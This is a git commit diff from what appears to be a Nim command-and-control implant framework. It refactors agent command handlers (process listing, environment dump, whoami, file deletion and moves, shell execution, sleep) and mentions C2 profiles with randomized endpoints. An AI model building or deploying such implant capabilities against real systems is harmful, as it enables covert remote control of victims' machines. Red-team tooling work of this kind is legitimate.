Added profile system to agent communication. Randomized URL endpoints/request methods and dynamic data transformation based on C2 profile. Profile is defined as compile-time string for now.

This commit is contained in:
Jakob Friedl
2025-08-15 15:42:57 +02:00
parent 5a73c0f2f4
commit c7980d219d
19 changed files with 273 additions and 184 deletions

View File

@@ -1,9 +1,9 @@
import ../common/[types, utils]
# Declare function prototypes
proc executePs(config: AgentConfig, task: Task): TaskResult
proc executeEnv(config: AgentConfig, task: Task): TaskResult
proc executeWhoami(config: AgentConfig, task: Task): TaskResult
proc executePs(ctx: AgentCtx, task: Task): TaskResult
proc executeEnv(ctx: AgentCtx, task: Task): TaskResult
proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult
# Command definitions
let commands*: seq[Command] = @[
@@ -35,15 +35,15 @@ let commands*: seq[Command] = @[
# Implement execution functions
when defined(server):
proc executePs(config: AgentConfig, task: Task): TaskResult = nil
proc executeEnv(config: AgentConfig, task: Task): TaskResult = nil
proc executeWhoami(config: AgentConfig, task: Task): TaskResult = nil
proc executePs(ctx: AgentCtx, task: Task): TaskResult = nil
proc executeEnv(ctx: AgentCtx, task: Task): TaskResult = nil
proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult = nil
when defined(agent):
import winim
import os, strutils, sequtils, strformat, tables, algorithm
import ../agent/core/taskresult
import ../agent/protocol/result
# TODO: Add user context to process information
type
@@ -53,7 +53,7 @@ when defined(agent):
name: string
children: seq[DWORD]
proc executePs(config: AgentConfig, task: Task): TaskResult =
proc executePs(ctx: AgentCtx, task: Task): TaskResult =
echo fmt" [>] Listing running processes."
@@ -127,7 +127,7 @@ when defined(agent):
except CatchableError as err:
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
proc executeEnv(config: AgentConfig, task: Task): TaskResult =
proc executeEnv(ctx: AgentCtx, task: Task): TaskResult =
echo fmt" [>] Displaying environment variables."
@@ -141,7 +141,7 @@ when defined(agent):
except CatchableError as err:
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
proc executeWhoami(config: AgentConfig, task: Task): TaskResult =
proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult =
echo fmt" [>] Getting user information."

View File

@@ -1,13 +1,13 @@
import ../common/[types, utils]
# Define function prototypes
proc executePwd(config: AgentConfig, task: Task): TaskResult
proc executeCd(config: AgentConfig, task: Task): TaskResult
proc executeDir(config: AgentConfig, task: Task): TaskResult
proc executeRm(config: AgentConfig, task: Task): TaskResult
proc executeRmdir(config: AgentConfig, task: Task): TaskResult
proc executeMove(config: AgentConfig, task: Task): TaskResult
proc executeCopy(config: AgentConfig, task: Task): TaskResult
proc executePwd(ctx: AgentCtx, task: Task): TaskResult
proc executeCd(ctx: AgentCtx, task: Task): TaskResult
proc executeDir(ctx: AgentCtx, task: Task): TaskResult
proc executeRm(ctx: AgentCtx, task: Task): TaskResult
proc executeRmdir(ctx: AgentCtx, task: Task): TaskResult
proc executeMove(ctx: AgentCtx, task: Task): TaskResult
proc executeCopy(ctx: AgentCtx, task: Task): TaskResult
# Command definitions
let commands* = @[
@@ -85,21 +85,21 @@ let commands* = @[
# Implementation of the execution functions
when defined(server):
proc executePwd(config: AgentConfig, task: Task): TaskResult = nil
proc executeCd(config: AgentConfig, task: Task): TaskResult = nil
proc executeDir(config: AgentConfig, task: Task): TaskResult = nil
proc executeRm(config: AgentConfig, task: Task): TaskResult = nil
proc executeRmdir(config: AgentConfig, task: Task): TaskResult = nil
proc executeMove(config: AgentConfig, task: Task): TaskResult = nil
proc executeCopy(config: AgentConfig, task: Task): TaskResult = nil
proc executePwd(ctx: AgentCtx, task: Task): TaskResult = nil
proc executeCd(ctx: AgentCtx, task: Task): TaskResult = nil
proc executeDir(ctx: AgentCtx, task: Task): TaskResult = nil
proc executeRm(ctx: AgentCtx, task: Task): TaskResult = nil
proc executeRmdir(ctx: AgentCtx, task: Task): TaskResult = nil
proc executeMove(ctx: AgentCtx, task: Task): TaskResult = nil
proc executeCopy(ctx: AgentCtx, task: Task): TaskResult = nil
when defined(agent):
import os, strutils, strformat, times, algorithm, winim
import ../agent/core/taskresult
import ../agent/protocol/result
# Retrieve current working directory
proc executePwd(config: AgentConfig, task: Task): TaskResult =
proc executePwd(ctx: AgentCtx, task: Task): TaskResult =
echo fmt" [>] Retrieving current working directory."
@@ -120,7 +120,7 @@ when defined(agent):
# Change working directory
proc executeCd(config: AgentConfig, task: Task): TaskResult =
proc executeCd(ctx: AgentCtx, task: Task): TaskResult =
# Parse arguments
let targetDirectory = Bytes.toString(task.args[0].data)
@@ -139,7 +139,7 @@ when defined(agent):
# List files and directories at a specific or at the current path
proc executeDir(config: AgentConfig, task: Task): TaskResult =
proc executeDir(ctx: AgentCtx, task: Task): TaskResult =
try:
var targetDirectory: string
@@ -289,7 +289,7 @@ when defined(agent):
# Remove file
proc executeRm(config: AgentConfig, task: Task): TaskResult =
proc executeRm(ctx: AgentCtx, task: Task): TaskResult =
# Parse arguments
let target = Bytes.toString(task.args[0].data)
@@ -307,7 +307,7 @@ when defined(agent):
# Remove directory
proc executeRmdir(config: AgentConfig, task: Task): TaskResult =
proc executeRmdir(ctx: AgentCtx, task: Task): TaskResult =
# Parse arguments
let target = Bytes.toString(task.args[0].data)
@@ -324,7 +324,7 @@ when defined(agent):
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
# Move file or directory
proc executeMove(config: AgentConfig, task: Task): TaskResult =
proc executeMove(ctx: AgentCtx, task: Task): TaskResult =
# Parse arguments
let
@@ -344,7 +344,7 @@ when defined(agent):
# Copy file or directory
proc executeCopy(config: AgentConfig, task: Task): TaskResult =
proc executeCopy(ctx: AgentCtx, task: Task): TaskResult =
# Parse arguments
let

View File

@@ -1,7 +1,7 @@
import ../common/[types, utils]
# Define function prototype
proc executeShell(config: AgentConfig, task: Task): TaskResult
proc executeShell(ctx: AgentCtx, task: Task): TaskResult
# Command definition (as seq[Command])
let commands*: seq[Command] = @[
@@ -20,14 +20,14 @@ let commands*: seq[Command] = @[
# Implement execution functions
when defined(server):
proc executeShell(config: AgentConfig, task: Task): TaskResult = nil
proc executeShell(ctx: AgentCtx, task: Task): TaskResult = nil
when defined(agent):
import ../agent/core/taskresult
import ../agent/protocol/result
import osproc, strutils, strformat
proc executeShell(config: AgentConfig, task: Task): TaskResult =
proc executeShell(ctx: AgentCtx, task: Task): TaskResult =
try:
var
command: string

View File

@@ -1,14 +1,14 @@
import ../common/[types, utils]
# Define function prototype
proc executeSleep(config: AgentConfig, task: Task): TaskResult
proc executeSleep(ctx: AgentCtx, task: Task): TaskResult
# Command definition (as seq[Command])
let commands* = @[
Command(
name: "sleep",
commandType: CMD_SLEEP,
description: "Update sleep delay configuration.",
description: "Update sleep delay ctxuration.",
example: "sleep 5",
arguments: @[
Argument(name: "delay", description: "Delay in seconds.", argumentType: INT, isRequired: true)
@@ -19,14 +19,14 @@ let commands* = @[
# Implement execution functions
when defined(server):
proc executeSleep(config: AgentConfig, task: Task): TaskResult = nil
proc executeSleep(ctx: AgentCtx, task: Task): TaskResult = nil
when defined(agent):
import os, strutils, strformat
import ../agent/core/taskresult
import ../agent/protocol/result
proc executeSleep(config: AgentConfig, task: Task): TaskResult =
proc executeSleep(ctx: AgentCtx, task: Task): TaskResult =
try:
# Parse task parameter
@@ -36,8 +36,8 @@ when defined(agent):
sleep(delay * 1000)
# Updating sleep in agent config
config.sleep = delay
# Updating sleep in agent context
ctx.sleep = delay
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
except CatchableError as err: